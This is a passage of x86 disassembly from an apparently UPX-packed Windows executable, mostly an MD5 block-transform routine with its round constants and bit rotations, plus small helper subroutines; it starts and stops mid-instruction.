push [ebp+arg_4] call sub_40F3CE pop ecx pop ecx push 10h push [ebp+arg_4] push [ebp+arg_0] call sub_40F33F add esp, 0Ch push 4 push 0 push [ebp+arg_4] call sub_416B6A ; memset add esp, 0Ch leave retn sub_40F26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F33F proc near ; CODE XREF: sub_40F26E+97p ; sub_40F26E+B8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F34E: ; CODE XREF: sub_40F33F+8Bj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov eax, [ebp+var_8] add eax, 4 mov [ebp+var_8], eax loc_40F35E: ; CODE XREF: sub_40F33F+Dj mov eax, [ebp+var_8] cmp eax, [ebp+arg_8] jnb short locret_40F3CC mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 8 and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+1], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 10h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+2], al mov eax, [ebp+var_4] mov ecx, [ebp+arg_4] mov eax, [ecx+eax*4] shr eax, 18h and eax, 0FFh mov ecx, [ebp+arg_0] add ecx, [ebp+var_8] mov [ecx+3], al jmp short loc_40F34E ; --------------------------------------------------------------------------- locret_40F3CC: ; CODE XREF: sub_40F33F+25j leave retn sub_40F33F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3CE proc near ; CODE XREF: sub_40F159+AAp ; sub_40F159+E3p ... var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 50h push 40h push [ebp+arg_4] lea eax, [ebp+var_50] push eax call sub_410244 add esp, 0Ch mov eax, [ebp+arg_0] mov eax, [eax] mov [ebp+var_4], eax mov eax, [ebp+arg_0] mov eax, [eax+4] mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+8] mov [ebp+var_C], eax mov eax, [ebp+arg_0] mov eax, [eax+0Ch] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-28955B88h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-173848AAh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_C] lea eax, [ecx+eax+242070DBh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3E423112h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0A83F051h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4787C62Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-57CFB9EDh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_8] lea eax, [ecx+eax-2B96AFFh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+698098D8h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-74BB0851h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0A44Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_8] lea eax, [ecx+eax-76A32842h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] and eax, [ebp+var_C] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6B901122h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 7 mov ecx, [ebp+var_4] shr ecx, 19h or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] and eax, [ebp+var_8] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_10] lea eax, [ecx+eax-2678E6Dh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ch mov ecx, [ebp+var_10] shr ecx, 14h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] and eax, [ebp+var_4] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5986BC72h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 11h mov ecx, [ebp+var_C] shr ecx, 0Fh or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, [ebp+var_10] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_8] lea eax, [ecx+eax+49B40821h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 16h mov ecx, [ebp+var_8] shr ecx, 0Ah or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-9E1DA9Eh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3FBF4CC0h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+265E5A51h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_8] lea eax, [ecx+eax-16493856h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-29D0EFA3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_10] lea eax, [ecx+eax+2441453h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax-275E197Fh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_40] mov ecx, [ebp+var_8] lea eax, [ecx+eax-182C0438h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+21E1CDE6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3CC8F82Ah] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-0B2AF279h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_8] lea eax, [ecx+eax+455A14EDh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] and eax, [ebp+var_8] mov ecx, [ebp+var_10] not ecx and ecx, [ebp+var_C] or eax, ecx add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-561C16FBh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 5 mov ecx, [ebp+var_4] shr ecx, 1Bh or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] and eax, [ebp+var_4] mov ecx, [ebp+var_C] not ecx and ecx, [ebp+var_8] or eax, ecx add eax, [ebp+var_48] mov ecx, [ebp+var_10] lea eax, [ecx+eax-3105C08h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 9 mov ecx, [ebp+var_10] shr ecx, 17h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] and eax, [ebp+var_10] mov ecx, [ebp+var_8] not ecx and ecx, [ebp+var_4] or eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax+676F02D9h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Eh mov ecx, [ebp+var_C] shr ecx, 12h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] and eax, [ebp+var_C] mov ecx, [ebp+var_4] not ecx and ecx, [ebp+var_10] or eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_8] lea eax, [ecx+eax-72D5B376h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 14h mov ecx, [ebp+var_8] shr ecx, 0Ch or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_3C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5C6BEh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_30] mov ecx, [ebp+var_10] lea eax, [ecx+eax-788E097Fh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_24] mov ecx, [ebp+var_C] lea eax, [ecx+eax+6D9D6122h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_18] mov ecx, [ebp+var_8] lea eax, [ecx+eax-21AC7F4h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_4C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-5B4115BCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_40] mov ecx, [ebp+var_10] lea eax, [ecx+eax+4BDECFA9h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_34] mov ecx, [ebp+var_C] lea eax, [ecx+eax-944B4B0h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_28] mov ecx, [ebp+var_8] lea eax, [ecx+eax-41404390h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_1C] mov ecx, [ebp+var_4] lea eax, [ecx+eax+289B7EC6h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_50] mov ecx, [ebp+var_10] lea eax, [ecx+eax-155ED806h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_44] mov ecx, [ebp+var_C] lea eax, [ecx+eax-2B10CF7Bh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_38] mov ecx, [ebp+var_8] lea eax, [ecx+eax+4881D05h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_8] xor eax, [ebp+var_C] xor eax, [ebp+var_10] add eax, [ebp+var_2C] mov ecx, [ebp+var_4] lea eax, [ecx+eax-262B2FC7h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 4 mov ecx, [ebp+var_4] shr ecx, 1Ch or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_4] xor eax, [ebp+var_8] xor eax, [ebp+var_C] add eax, [ebp+var_20] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1924661Bh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Bh mov ecx, [ebp+var_10] shr ecx, 15h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_10] xor eax, [ebp+var_4] xor eax, [ebp+var_8] add eax, [ebp+var_14] mov ecx, [ebp+var_C] lea eax, [ecx+eax+1FA27CF8h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 10h mov ecx, [ebp+var_C] shr ecx, 10h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_C] xor eax, [ebp+var_10] xor eax, [ebp+var_4] add eax, [ebp+var_48] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3B53A99Bh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 17h mov ecx, [ebp+var_8] shr ecx, 9 or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_50] mov ecx, [ebp+var_4] lea eax, [ecx+eax-0BD6DDBCh] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_34] mov ecx, [ebp+var_10] lea eax, [ecx+eax+432AFF97h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_18] mov ecx, [ebp+var_C] lea eax, [ecx+eax-546BDC59h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_3C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-36C5FC7h] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_20] mov ecx, [ebp+var_4] lea eax, [ecx+eax+655B59C3h] mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_44] mov ecx, [ebp+var_10] lea eax, [ecx+eax-70F3336Eh] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_28] mov ecx, [ebp+var_C] lea eax, [ecx+eax-100B83h] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, [ebp+var_C] shr ecx, 11h or eax, ecx mov [ebp+var_C], eax mov eax, [ebp+var_C] add eax, [ebp+var_10] mov [ebp+var_C], eax mov eax, [ebp+var_4] not eax mov ecx, [ebp+var_C] or ecx, eax mov eax, [ebp+var_10] xor eax, ecx add eax, [ebp+var_4C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-7A7BA22Fh] mov [ebp+var_8], eax mov eax, [ebp+var_8] shl eax, 15h mov ecx, [ebp+var_8] shr ecx, 0Bh or eax, ecx mov [ebp+var_8], eax mov eax, [ebp+var_8] add eax, [ebp+var_C] mov [ebp+var_8], eax mov eax, [ebp+var_10] not eax mov ecx, [ebp+var_8] or ecx, eax mov eax, [ebp+var_C] xor eax, ecx add eax, [ebp+var_30] mov ecx, [ebp+var_4] lea eax, [ecx+eax+6FA87E4Fh] loc_41005C: ; DATA XREF: UPX1:off_41A8CCo mov [ebp+var_4], eax mov eax, [ebp+var_4] shl eax, 6 mov ecx, [ebp+var_4] shr ecx, 1Ah or eax, ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] add eax, [ebp+var_8] mov [ebp+var_4], eax mov eax, [ebp+var_C] not eax mov ecx, [ebp+var_4] or ecx, eax mov eax, [ebp+var_8] xor eax, ecx add eax, [ebp+var_14] mov ecx, [ebp+var_10] lea eax, [ecx+eax-1D31920h] mov [ebp+var_10], eax mov eax, [ebp+var_10] shl eax, 0Ah mov ecx, [ebp+var_10] shr ecx, 16h or eax, ecx mov [ebp+var_10], eax mov eax, [ebp+var_10] add eax, [ebp+var_4] mov [ebp+var_10], eax mov eax, [ebp+var_8] not eax mov ecx, [ebp+var_10] or ecx, eax mov eax, [ebp+var_4] xor eax, ecx add eax, [ebp+var_38] mov ecx, [ebp+var_C] lea eax, [ecx+eax-5CFEBCECh] mov [ebp+var_C], eax mov eax, [ebp+var_C] shl eax, 0Fh mov ecx, 